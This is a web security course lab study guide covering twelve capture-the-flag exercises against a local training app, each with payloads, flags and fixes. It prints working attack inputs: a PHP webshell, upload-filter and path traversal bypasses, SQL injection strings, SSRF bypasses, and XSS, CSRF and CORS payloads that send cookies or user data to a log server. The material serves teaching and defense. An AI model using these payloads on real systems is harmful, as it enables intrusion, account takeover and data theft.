

26CS6003 – Web Security

Comprehensive Lab Study Guide

Labs 1–12 | Problem Statements, Exploits & Defenses

Labs Covered:

- Lab 1 · Firefox Developer Tools (Network & Storage Tabs)
- Lab 2 · ZAP – Scanning, Fuzzing
- Lab 3 · Information Disclosure (Comments, Errors, Backup Files)
- Lab 4 · Server-Side Request Forgery (SSRF)
- Lab 5 · File Upload & Remote Code Execution
- Lab 6 · Directory / Path Traversal
- Lab 7 · Broken Authentication (Brute Force, 2FA, Reset)
- Lab 8 · Broken Access Control (IDOR, Privilege Escalation)
- Lab 9 · SQL Injection (Auth Bypass, UNION, Blind)
- Lab 10 · Cross-Site Scripting (XSS)
- Lab 11 · Cross-Site Request Forgery (CSRF)
- Lab 12 · CORS Misconfigurations

QUICK REFERENCE: Vulnerability Cheat Sheet

Vulnerability	Exploit Pattern	Defense
SQLi Auth Bypass	<code>admin'-- -</code>	Parameterized queries
SQLi UNION	<code>' UNION SELECT col1,col2,... FROM table --</code>	Parameterized queries
Blind SQLi	<code>' and (boolean condition) -- abc</code>	Parameterized queries
Reflected XSS	<code><script>alert(1)</script></code> in URL param	HTML-encode output; CSP
Stored XSS	<code><script></code> in form/comment field	HTML-encode on render; CSP
XSS Cookie Theft	<code>fetch('attacker'+document.cookie)</code>	HttpOnly cookie flag; CSP
XSS Blacklist Bypass	<code><scripscriptpt></code> / nested tags	Allowlist sanitization; CSP
CSRF No Token	<code>Auto-submit</code> form from attacker site	SameSite=Strict; CSRF tokens
CSRF Token Bypass	<code>Reuse own token if not session-tied</code>	Bind token to user session
Path Traversal	<code>../../etc/passwd</code>	<code>realpath()</code> + prefix check
Path Traversal Bypass	<code>..%2F..%2F / %00</code> null byte	Decode before sanitizing
File Upload RCE	Upload <code>.php</code> shell	Allowlist extensions; store outside webroot
Upload Bypass (BL)	<code>.htaccess</code> trick / <code>.php7</code>	Allowlist not denylist
Upload Bypass (WL)	<code>GIF87a</code> + PHP code + <code>.php%00.gif</code>	Re-process images server-side
SSRF Basic	Change URL param to internal host	URL allowlist; block RFC-1918 IPs
SSRF Blacklist Bypass	<code>127.1</code> , decimal IP, URL encoding	Proper URL parser + allowlist
SSRF Whitelist Bypass	<code>victim.com#internal-url</code>	Parse URL, strip fragment first
IDOR	Change user ID in URL/param	Server-side ownership check
Vertical PrivEsc	Guess admin URL; modify role cookie	Server-side role check (not cookie)
Broken 2FA	OTP not tied to user session	Bind OTP to session at generation
Broken Reset	Reuse reset token for another user	Tie token to specific username+session
IP Block Bypass	<code>X-Forwarded-For: 10.0.0.X</code>	Rate limit at network layer; ignore XFF
CORS Origin Reflect	<code>fetch()</code> with credentials from any origin	Explicit origin allowlist only
CORS + XSS Chain	XSS on trusted subdomain exfiltrates CORS data	Fix XSS; no wildcard subdomain CORS
Info Disclosure	Check comments, <code>/robots.txt</code> , backup dirs	Strip comments; secure backups

Lab 1: Firefox Developer Tools

Topic / Vulnerability Class	Reconnaissance & Browser Tools
-----------------------------	--------------------------------

Activity 1: Network Tab

Objective	Learn to inspect HTTP requests using Firefox Network Tab
Vulnerability	Information leakage via observable HTTP traffic

Approach / What You Did

Used Network tab (F12) to observe all requests made during page load. Identified failed endpoints, status codes, and resent requests with modified headers.

Exploit / Payload

Resent 'failed-endpoint' request with custom headers:

User-Agent: Secret Agent 007

X-Secret: Bond007

Key Answers

- login_http_nos: 3 (HTTP requests on login page load)
- failed_endpoint: /secret_endpoint/
- failed_status_code: 404
- logout_status_code: 302 (redirect after logout)

FLAG: FLAG{BOND'S_WELCOME_GIFT!}

Defense / Fix

Never expose sensitive endpoints. Use proper authentication on all routes.

Activity 2: Storage Tab

Objective	Learn to inspect cookies and localStorage using Firefox Storage Tab
Vulnerability	Flags hidden in client-side storage; insecure cookies

Approach / What You Did

Used Storage Tab to inspect cookies. Cleared cookies to observe login behavior. Found flag in cookie value. Created a custom cookie with key 'secret-cookie' and value 'getflag' to get second flag.

Exploit / Payload

Set cookie: secret-cookie=getflag via storage inspector

Key Answers

- first_cookie: csrftoken
- status_code (login without cookie): 403
- sessionid SameSite: Lax

FLAG: FLAG{YOU_GOT_IN_LOCAL_STORAGE_!}

FLAG: FLAG{SETTING_NEW_COOKIES_CAN_HELP_TOO_!}

Defense / Fix

Never store sensitive data in client-side storage. Set proper cookie attributes (HttpOnly, Secure, SameSite=Strict).

Lab 2: ZAP (OWASP)

Topic / Vulnerability Class	Web Application Scanning & Fuzzing Tool
-----------------------------	---

Activity 1: Introduction to ZAP

Objective	Setup ZAP with FoxyProxy to intercept browser traffic
Vulnerability	N/A – Tool setup exercise

Approach / What You Did

Configured FoxyProxy to route browser traffic through ZAP proxy at localhost:30004. Verified traffic capture by browsing the target app.

Exploit / Payload

N/A

Defense / Fix

Defenders should use WAFs; ZAP helps testers find issues before attackers do.

Activity 2: Scanning Web Application

Objective	Use ZAP to perform vulnerability scans (authenticated and unauthenticated)
Vulnerability	Multiple OWASP Top 10 issues detectable via automated scan

Approach / What You Did

Ran ZAP automated scan against target app (port 30000 = no auth, port 30001 = with auth). Used Laksh:SecretPwd! credentials for authenticated scan. Generated HTML reports.

Exploit / Payload

ZAP automated scan with authentication configured

Defense / Fix

Regular automated scanning should be part of CI/CD pipeline.

Activity 3: Fuzzing via ZAP

Objective	Use ZAP fuzzer to discover hidden pages via a URL parameter
Vulnerability	Hidden pages accessible via guessable parameter values

Approach / What You Did

Target used ?page=X parameter for navigation. Used ZAP fuzzer with a provided wordlist to fuzz the 'page' parameter. Response differences (size/code) revealed the hidden page containing a flag.

Exploit / Payload

ZAP Fuzzer: fuzz ?page= parameter with wordlist

Defense / Fix

Never rely on obscurity. Implement proper access control on all pages regardless of how they are navigated to.

Lab 3: Information Disclosure

Topic / Vulnerability Class	Information Disclosure (Comments, Errors, Backup Files)
------------------------------------	---

Activity 1: Information Disclosure via Comments

Objective	Find flags hidden in HTML/CSS/JS source comments
Vulnerability	Sensitive data left in source code comments by developers

Approach / What You Did

Used Firefox DevTools (Inspector, Style Editor, Debugger). Searched through HTML source, CSS, JavaScript files, and robots.txt for FLAG{...} patterns. Found 5 flags across various files.

Exploit / Payload

`View Source / DevTools search across all source files + robots.txt`

`FLAG: FLAG{1n4mat1on_D1sclosure_1j5v3rTF}`

Defense / Fix

Strip all comments from production code. Use build tools (minifiers) that remove comments automatically. Never put secrets in frontend code.

Activity 2: Information Disclosure via Error/Debug Messages

Objective	Trigger error conditions to expose debug information containing flags
Vulnerability	Debug mode enabled in production; verbose error messages

Approach / What You Did

Deliberately induced errors by sending malformed/unexpected inputs to various endpoints. Debug stack traces revealed 2 flags directly. Third flag obtained by extracting admin credentials from debug output and logging in as admin.

Exploit / Payload

Trigger errors on relevant endpoints; read debug stack traces

Defense / Fix

Disable debug mode in production. Use generic error messages. Log errors server-side only.

Activity 3: Information Disclosure via Backup Files

Objective	Find admin password stored in an accessible backup directory
Vulnerability	Backup files left accessible on web server

Approach / What You Did

Found list of possible backup directories (via robots.txt or similar). Used ZAP fuzzer to enumerate which directories were accessible (different HTTP response codes). Browsed accessible backup folder and found file containing admin password. Logged in as admin to get flag.

Exploit / Payload

ZAP fuzzing backup directory paths; browse /backup/ files

Key Answers

- Backup dirs discovered via robots.txt / ZAP fuzzing
- Admin password found in a .bak or similar file in backup directory

FLAG: FLAG{1n4mat1on_D1sclosure_lj5v3rTF}

Defense / Fix

Never store backups in web-accessible directories. Add backup paths to .gitignore. Restrict directory listing on web servers.

Lab 4: SSRF (Server-Side Request Forgery)

Topic / Vulnerability Class

SSRF – Basic, Blacklist Bypass, Whitelist Bypass

Activity 1: Basic SSRF against Local Server

Objective

Access an internal admin panel via SSRF vulnerability

Vulnerability

Application fetches URLs provided by user without restriction

Approach / What You Did

Found a functionality (e.g., fetch/preview URL) that makes server-side requests. Using Firefox Page Inspector, identified the vulnerable parameter. Changed the target URL to the internal admin panel (<http://localhost:30000/v1/admin>). Server fetched it on our behalf, bypassing browser-level access restriction. Then used SSRF to trigger user deletion.

Exploit / Payload

```
http://localhost:30000/v1/admin#http://api.bodhitree.com:30000/v1/syllabus/
```

```
http://localhost:30000/v1/admin/delete?userid=23204#http://api.bodhitree.com:30000/v1/syllabus/
```

```
FLAG: FLAG{S3rver_s1d3_R3quests_Ar3_difficult_t0_st0p_N9TgZQwv}
```

Defense / Fix

Validate and whitelist URLs the server is allowed to fetch. Block requests to internal/private IP ranges (127.x, 10.x, 192.168.x).

Activity 3: SSRF Against Blacklist-Based Filter

Objective

Bypass blacklist to access internal admin panel via SSRF

Vulnerability

Blacklist-based input filter is bypassable via encoding

Approach / What You Did

Same as Activity 1 but blacklisted words: 127.0.0.1, 127.0.0.1:30000, ::1, localhost, localhost:30000, admin, delete, adduser. Used URL encoding / alternative representations to bypass the filter (e.g., 127.1 instead of 127.0.0.1, decimal IP notation, double encoding).

Exploit / Payload

Encoding tricks: 127.1, %6c%6f%63%61%6c%68%6f%73%74, 0x7f000001, etc.

FLAG: FLAG{S3rver_s1d3_R3quests_Ar3_difficult_t0_st0p_N9TgZQwv}

Defense / Fix

Blacklists are insufficient. Use an allowlist of specific permitted URLs/domains. Parse and re-serialize URLs to prevent encoding bypasses.

Activity 4: SSRF Against Whitelist-Based Filter

Objective	Bypass whitelist to access internal admin panel via SSRF
Vulnerability	Whitelist checks only if whitelisted URL appears in the string

Approach / What You Did

Whitelist allows only one specific URL. The trick: include the whitelisted URL in the attack URL using the URL fragment (#). Browser ignores fragment, but naive whitelist check sees the whitelisted URL string and passes it. Server then fetches the actual malicious URL.

Exploit / Payload

http://localhost:30000/v1/admin#http://whitelisted-url.com/

Defense / Fix

Parse URLs properly before checking. Use a robust URL parsing library. Fragment (#) should be stripped before whitelist comparison.

Lab 5: File Upload / RCE

Topic / Vulnerability Class	Remote Code Execution via File Upload
-----------------------------	---------------------------------------

Activity 1: Simple Arbitrary File Upload RCE

Objective	Upload a PHP shell to execute arbitrary commands
Vulnerability	No file type validation on upload endpoint

Approach / What You Did

Profile picture upload at /userDetails.php accepts any file. Uploaded a PHP webshell. Used Firefox Page Inspector to find the uploaded file URL. Visited the URL to execute the shell and get command output.

Exploit / Payload

shell.php content:

GIF87a

```
<?php $output=shell_exec('id'); echo "<pre>$output</pre>"; ?>
```

FLAG: FLAG{Up1oad1ng_Arb1trary_F113s_t0_3x3cut3_sh311_c0mmands_6uJLOGLx}

Defense / Fix

Validate file type server-side (not just client-side). Use allowlist of permitted extensions. Store uploads outside webroot. Rename uploaded files.

Activity 2: Blacklisted Extensions Bypass

Objective	Bypass extension blacklist to upload PHP shell
Vulnerability	Blacklist blocks .php, .php2-.php5, .phtml, .shtml — but not all variants

Approach / What You Did

Used .htaccess trick: uploaded a .htaccess file to make the server treat a different extension as PHP. Then uploaded the shell with that alternate extension. Alternatively, tried .pHp, .php6, .php7 if not blacklisted.

Exploit / Payload

Upload .htaccess with: `AddType application/x-httpd-php .xyz`

Then upload `shell.xyz`

FLAG: `FLAG{Up1oad1ng_Arb1trary_F113s_t0_3x3cut3_sh311_c0mmands_6uJLOGLx}`

Defense / Fix

Use an allowlist (only jpg/png/gif). Don't allow .htaccess uploads. Use server-side MIME detection.

Activity 3: Whitelist + Image Header Check Bypass

Objective	Bypass whitelist (jpg/png/gif only) AND magic byte image header check
Vulnerability	Extension whitelist + image header check both bypassable

Approach / What You Did

Approach: Prepend GIF magic bytes (GIF87a) to the PHP code. Rename file to `shell.php%00.gif` (null byte truncation). Server checks .gif extension (passes whitelist), magic bytes look like GIF (passes header check), but PHP interpreter executes the code after the GIF header.

Exploit / Payload

File: `GIF87a\n<?php shell_exec('id'); ?>`

Filename: `shell.php%00.gif`

FLAG: `FLAG{Up1oad1ng_Arb1trary_F113s_t0_3x3cut3_sh311_c0mmands_6uJLOGLx}`

Defense / Fix

Use a proper image library to re-process uploads (strips embedded code). Store uploads outside webroot. Use a CDN/blob storage for user uploads.

Lab 6: Path Traversal / Directory Traversal

Topic / Vulnerability Class	Directory Traversal – Simple & With Defensive Checks
-----------------------------	--

Activity 1: Simple Path Traversal

Objective	Read /etc/passwd via directory traversal vulnerability
Vulnerability	File parameter in course details page not sanitized

Approach / What You Did

Found a file parameter in the course details page using Firefox Page Inspector. Changed the value to a traversal payload to escape the webroot and read /etc/passwd.

Exploit / Payload

```
file=../../../../../../etc/passwd
```

```
FLAG: FLAG{L3ak1ng_1nformation_v1a_Dir3ct0ry_Trav3rsal_yHNxlrqm}
```

Defense / Fix

Use a whitelist of allowed filenames. Resolve absolute path and check it starts with the intended directory. Never pass user input directly to file open functions.

Activity 2: Path Traversal with Defensive Checks

Objective	Bypass two simple defenses to read /etc/passwd
Vulnerability	Naive sanitization: blocks ../ and checks file extension

Approach / What You Did

Two defenses in place: (1) blocks ../ sequences, (2) requires specific extension. Bypass: (1) use ..%2F (URL-encoded slash) or ..%252F (double-encoded) or// to survive filter. (2) append null byte + expected extension: /etc/passwd%00.html

Exploit / Payload

```
csrfmiddlewaretoken=...&file=..%2F..%2F..%2F..%2F..%2Fetc%2F..%2Fpasswd%2500.html
```

```
FLAG: FLAG{L3ak1ng_1nformation_v1a_Dir3ct0ry_Trav3rsal_yHNxlrqm}
```

Defense / Fix

Decode URL encoding before sanitizing. Use realpath() and check prefix. Never rely on blacklist-only checks.

Lab 7: Broken Authentication

Topic / Vulnerability Class

Password Brute Force, Username Enumeration, 2FA Bypass, Broken Reset

Activity 1: Password Bruteforce (IP Blocking Bypass)

Objective

Crack admin password while bypassing IP-based rate limiting

Vulnerability

IP blocking at application layer; bypassable via X-Forwarded-For header

Approach / What You Did

After 5 failed attempts, the IP is blocked. Application reads X-Forwarded-For header to identify client IP (application-layer block). Solution: rotate X-Forwarded-For header value with each request. Used a Python script fuzzing two fields: password from wordlist + rotating IP in X-Forwarded-For header.

Exploit / Payload

Python script: for each password, set X-Forwarded-For: 10.0.0.{i} to change apparent IP

FLAG: FLAG{Auth3nt1cation_byp4ss_successful_F0XBiYga}

Defense / Fix

Implement rate limiting at network layer (not application). Add CAPTCHA after failed attempts. Use exponential backoff. Block at firewall level.

Activity 2: Username Enumeration

Objective

Enumerate valid username (admin_XX format) then crack password

Vulnerability

Different response for valid vs invalid usernames; flawed blocking logic

Approach / What You Did

Valid usernames follow format admin_XX (2 lowercase letters). Used ZAP fuzzer with regex [a-z]{2} to fuzz the suffix. Observed response differences (size/code) to identify valid username. Password blocking was flawed — not IP-based here. Used ZAP to fuzz password with the

provided list.

Exploit / Payload

ZAP regex fuzzer: admin_[a-z]{2} pattern for username enumeration

FLAG: FLAG{Auth3nt1cation_byp4ss_successful_F0XB1Yga}

Defense / Fix

Return identical responses for valid/invalid usernames. Implement consistent timing. Rate limit per username, not just IP.

Activity 3: Broken 2FA Logic

Objective	Login as admin by exploiting broken 2FA implementation
Vulnerability	2FA OTP not tied to the authenticated user session

Approach / What You Did

2FA sends OTP (0000-9999) to user's email. Flaw: OTP verification step doesn't check which user requested the OTP. Steps: (1) send login for admin, (2) separately request OTP as Laksh, (3) fuzz all 10,000 OTP values via ZAP fuzzer on the OTP verification request while keeping admin's session cookie in the first request.

Exploit / Payload

ZAP fuzzer: regex \d{4} (0000-9999) on OTP field; edit username to 'admin' in first request

FLAG: FLAG{Auth3nt1cation_byp4ss_successful_F0XB1Yga}

Defense / Fix

Tie OTP to user session at generation time. Expire OTPs quickly. Limit OTP attempts.

Activity 4: Broken Forgot Password Logic

Objective	Reset admin password without knowing it
Vulnerability	Password reset token not properly validated (predictable or reusable)

Approach / What You Did

Initiated password reset for Laksh (known user) to observe the reset token format. Discovered the token is not tied to the username — any valid token works for any account. Requested reset for admin, intercepted/reused a known token structure to reset admin password.

Exploit / Payload

Reset URL: `/reset-password?token=c08dd606-01c5-4050-be40-e9515170286f&username=admin`

(Token from Laksh reused with username=admin)

FLAG: `FLAG{Auth3nt1cation_byp4ss_successful_F0XBiYga}`

Defense / Fix

Tie reset tokens to specific user accounts server-side. Tokens must be single-use and expire quickly. Never trust username from URL parameter.

Lab 8: Broken Access Control

Topic / Vulnerability Class	Vertical & Horizontal Privilege Escalation, IDOR
-----------------------------	--

Activity 1: Vertical Privilege Escalation (URL Bruteforce + Cookie Modification)

Objective	Access admin panel by guessing URL; access teachers page by modifying role cookie
Vulnerability	Security by obscurity (admin URL); insecure cookie-based role check

Approach / What You Did

Part A: Brute-forced /v1/XYZ paths using ZAP fuzzer with a wordlist. Found the admin URL. Added user 'Virat' via admin panel (accessed through SSRF or direct if logged in). Part B: Teachers page checks the 'role' cookie. Changed cookie value from 'student' to 'teacher' using browser Storage tab. Changed Laksh's grade to 100.

Exploit / Payload

Cookie: `sessionid=edspynz3dl71c36hho27anm53xkwjcmb; role=admin`

FLAG: `FLAG{Acc3ss_D3ni3d_Or_Th4ts_Wh4t_1_Th0ught_SiIWlEbh}`

Defense / Fix

Never rely on client-side role values. Validate access permissions server-side on every request. Use cryptographically signed tokens if role must be in cookie.

Activity 2: Horizontal Privilege Escalation via IDOR

Objective	Access other users' data and find a hidden password via IDOR
Vulnerability	IDOR: user ID in URL parameter not validated against session

Approach / What You Did

Help page URL: `/help/?userid=23208`. Simply changed the userid to access other users' chat

histories. Found another student's password in their chat. Also enumerated the profile/user data endpoint to find Anita's phone number by iterating user IDs.

Exploit / Payload

`/help/?userid=23208 → change to other user IDs`

Key Answers

- Flag obtained by logging in as another user
- Phone of Anita: 914321098767

FLAG: `FLAG{Acc3ss_D3ni3d_Or_Th4ts_Wh4t_1_Th0ught_J3mNJt9k}`

Defense / Fix

Always validate that the requesting user owns the requested resource. Use indirect references (UUIDs) instead of sequential IDs.

Activity 3: Privilege Escalation via User Role Abuse

Objective	Change grades in CS224 using Rajesh (TA) session or Laksh session with role manipulation
Vulnerability	Missing server-side authorization; role stored in cookie and not properly verified

Approach / What You Did

Logged in as Rajesh (TA). Used ZAP to identify the grade update POST request. Modified the request to target Laksh's grade in CS224. Then replayed with Laksh's session cookie + role=admin cookie to see if Laksh can do it himself. Changed endsem marks to 100.

Exploit / Payload

`POST to grade update endpoint with: Rajesh session ID + modified courseid/userid params; or Laksh session + role=admin cookie`

FLAG: `FLAG{Acc3ss_D3ni3d_Or_Th4ts_Wh4t_1_Th0ught_SiIWlEbh}`

Defense / Fix

Server must verify role FROM DATABASE on each request, not from cookie. Implement proper course-level TA permission checks.

Lab 9: SQL Injection

Topic / Vulnerability Class	Auth Bypass, UNION-Based, Blind SQL Injection
------------------------------------	---

Activity 1: Authentication Bypass via SQLi

Objective	Login as admin without knowing the password using SQL injection
Vulnerability	Login query uses unsanitized user input

Approach / What You Did

Entered SQLi payload in the username field. The payload breaks the SQL query logic, making the WHERE clause always true, thus logging in without a valid password. Note: SQL comment (--) needs a trailing space; URL encoding or adding a character after handles this.

Exploit / Payload

Username: `admin'-- - (or: admin'/*)`

Password: `anything`

FLAG: `FLAG{SQL_injection_d0n3_successfully_38hsUCtH}`

Defense / Fix

Use parameterized queries / prepared statements. Never concatenate user input into SQL strings.

Activity 2: Data Exfiltration via UNION-Based SQLi

Objective	Extract admin password from a separate table using UNION SELECT
Vulnerability	Search field reflects unsanitized input into SQL query

Approach / What You Did

The search query: `SELECT sno, username, courseid, waitlisted FROM userdetails WHERE courseid='$courseid' AND username='$search'`. Users table has: sno, username, password.

Crafted UNION SELECT to append Users table data to the query result. Needed to match column count (4) and data types.

Exploit / Payload

```
search=Laksh' UNION SELECT sno, concat(username,'~',password), 4, 0 FROM users ; --  
  
(URL encoded in the actual payload)
```

```
FLAG: FLAG{SQL_injection_d0n3_successfully_38hsUCtH}
```

Defense / Fix

Parameterized queries. If filtering output, never use denylist. Principle of least privilege for DB user.

Activity 3: Data Exfiltration via Blind SQLi

Objective	Extract admin password without direct output (boolean-based blind SQLi)
Vulnerability	courseid parameter injectable; result only shows count (true/false)

Approach / What You Did

The page shows student count. A true condition = non-zero count; false = 0. This binary oracle allows character-by-character extraction. Automated with Python script: enumerate row count → enumerate username length → enumerate each character → enumerate password length → enumerate each password character.

Exploit / Payload

```
Python blind SQLi script (exploit.py):  
  
- Boolean payloads like: ' and exists(select 1 from users where substring(password,  
{i},1)='{ch}')) ; -- abc
```

```
FLAG: FLAG{SQL_injection_d0n3_successfully_38hsUCtH}
```

Defense / Fix

Parameterized queries. The fact that even blind channels (counts) can leak data demonstrates why parameterized queries are the ONLY real fix.

Lab 10: XSS (Cross-Site Scripting)

Topic / Vulnerability Class	Reflected XSS, Stored XSS, Cookie Theft, Blacklist Bypass
-----------------------------	---

Activity 1: Stored & Reflected XSS + Cookie Theft

Objective	Launch XSS attacks; steal admin cookie using exfil server
Vulnerability	Search field (reflected) and comments (stored) don't sanitize script tags

Approach / What You Did

Part 1 (Reflected): Injected `<script>alert('hacked')</script>` into participants search URL. Part 2 (Stored): Same payload in grade comment field. Part 3 (Cookie theft): Replaced alert with fetch to attacker server, sending document.cookie.

Exploit / Payload

Part1: `?search=<script>alert('hacked')</script>`

Part2: Stored in comment field

Part3: `?search=<script>fetch('http://localhost:30001/log?key='+document.cookie)</script>`

FLAG: FLAG{XSS_D0n3_F1n3_IkoEBE5M}

FLAG: FLAG{XSS_D0n3_F1n3_7IrlWTpq}

FLAG: FLAG{XSS_D0n3_F1n3_cFM5yZcy}

Defense / Fix

Encode output (HTML encode all user-supplied data before rendering). Content Security Policy (CSP). HttpOnly flag on session cookies.

Activity 2: Reflected XSS with Blacklist Bypass

Objective	Bypass XSS blacklist filter to launch attack
Vulnerability	Blacklist removes 'script' and 'alert'; encodes <code><</code> , <code>></code> , <code>"</code> but only once

Approach / What You Did

Blacklist: removes 'script', 'alert'; HTML-encodes <, >, ". **Bypass:** embed the filtered words within themselves so removal creates the intended word. E.g., <scrscriptpt> → after 'script' removed from middle → <script>. Same for alert → aleralert → alert after removal.

Exploit / Payload

```
%253Cscrscriptpt%253Ealeralertt%2528%2522hacked%2522%2529%253C%2Fscrscriptipt%253E
```

```
FLAG: FLAG{XSS_D0n3_F1n3_cFM5yZcy}
```

Defense / Fix

Never use denylist for XSS prevention. Always HTML-encode output. Use a proper sanitization library. Implement CSP.

Lab 11: CSRF (Cross-Site Request Forgery)

Topic / Vulnerability Class

Simple CSRF, Token Bypass (Not Tied to Session), Token + Cookie Bypass

Activity 1: Simple CSRF (No Defense)

Objective

Change admin email via CSRF with no CSRF token protection

Vulnerability

State-changing action (email update) has no CSRF token

Approach / What You Did

Explored /userDetails page — found POST form to update email. No CSRF token in form. Created malicious HTML page with an auto-submitting form targeting the email update endpoint. Hosted on exploit server (localhost:30001). When admin visits, email is changed.

Exploit / Payload

```
<form action='http://localhost:30000/updateEmail/' method='POST'>
<input type='hidden' name='new_email' value='attacker@evil.com' />
</form>
<script>document.forms[0].submit();</script>
```

FLAG: FLAG{CSRF_T0_Updat3_3mails_bFITBfQ8}

Defense / Fix

Use CSRF tokens tied to user session. Verify Origin/Referer headers. SameSite=Strict cookie attribute.

Activity 2: CSRF Token Not Tied to Session

Objective

Bypass CSRF token that is not validated against the requesting session

Vulnerability

CSRF token exists but is not bound to a specific user session

Approach / What You Did

Site has CSRF token but flaw: any valid CSRF token works for any user. Attacker obtains their own valid CSRF token (by loading the form as Laksh), embeds it in the malicious payload along with their session-less exploit. Victim (admin) submits the form with attacker's valid token — server accepts it.

Exploit / Payload

Fetch CSRF token as Laksh, embed it in exploit payload targeting admin's email update

FLAG: FLAG{CSRF_T0_Updat3_3mails_bFITBfQ8}

Defense / Fix

CSRF tokens **MUST** be tied to the specific user session. The token should be generated per-session and validated against that session.

Activity 3: CSRF Token Paired with Cookie

Objective	Bypass CSRF where token is paired with a cookie (not user session)
Vulnerability	CSRF token paired with cookie, but attacker can inject cookie via XSS

Approach / What You Did

Token/cookie pair implementation: server checks if CSRF token in POST matches CSRF cookie. Flaw: if attacker can set an arbitrary cookie in victim's browser, they can craft a matching token/cookie pair. Used an XSS vulnerability on the participants search page to inject a cookie of chosen value. Then crafted CSRF payload using that known cookie value and token.

Exploit / Payload

XSS to inject cookie → CSRF with matching token:

<script>document.cookie='csrftoken=MYVALUE';</script> + CSRF form with token=MYVALUE

FLAG: FLAG{CSRF_T0_Updat3_3mails_bFITBfQ8}

Defense / Fix

Use server-side session-bound CSRF tokens (not cookie-paired). Combine with SameSite=Strict cookies. Defense in depth.

Lab 12: CORS Misconfigurations

Topic / Vulnerability Class

CORS – Basic Origin Reflection, Trusted Subdomains via XSS

Activity 1: Basic Origin Reflection

Objective

Exploit CORS misconfiguration that reflects any origin

Vulnerability

Access-Control-Allow-Origin reflects the request Origin header (trusts any origin)

Approach / What You Did

Target has an API endpoint `/userData/` that returns sensitive user info. Its CORS policy reflects whatever Origin is sent and includes `Access-Control-Allow-Credentials: true`. Crafted JS payload in exploit server: fetch the `/userData/` endpoint with credentials, then exfiltrate the response to our log server.

Exploit / Payload

```
<script>

fetch('http://app.bodhitree.com:30000/userData/', {

  credentials: 'include', method: 'GET'

}).then(r=>r.text()).then(j=>fetch('http://localhost:30001/log/?key='+j));

</script>
```

FLAG: FLAG{G0t_s3crets_v1a_c0rs_DwbwUfRW}

Defense / Fix

Never use wildcard (*) or origin reflection with Allow-Credentials. Use explicit whitelist of trusted origins. Validate against a strict list server-side.

Activity 2: Trusted Subdomains (CORS + XSS chain)

Objective

Chain XSS on a trusted subdomain with CORS to exfiltrate data

Vulnerability

CORS whitelist allows *.bodhitree.com subdomains; XSS exists on one subdomain

Approach / What You Did

CORS allows *.bodhitree.com. Attacker doesn't control bodhitree.com directly. But the participants search page has a reflected XSS vulnerability on the same domain. Inject XSS that: (1) fetches /userData/ endpoint (request comes from the trusted subdomain, CORS allows it), (2) receives the response with sensitive data, (3) exfiltrates to the attacker's log server.

Exploit / Payload

Inject XSS via search on app.bodhitree.com that makes credentialed fetch to CORS endpoint and logs response

FLAG: FLAG{G0t_s3crets_v1a_c0rs_DwbwUfRW}

Defense / Fix

XSS on any trusted subdomain breaks CORS subdomain whitelist. Fix underlying XSS first. Avoid wildcard subdomain CORS policies.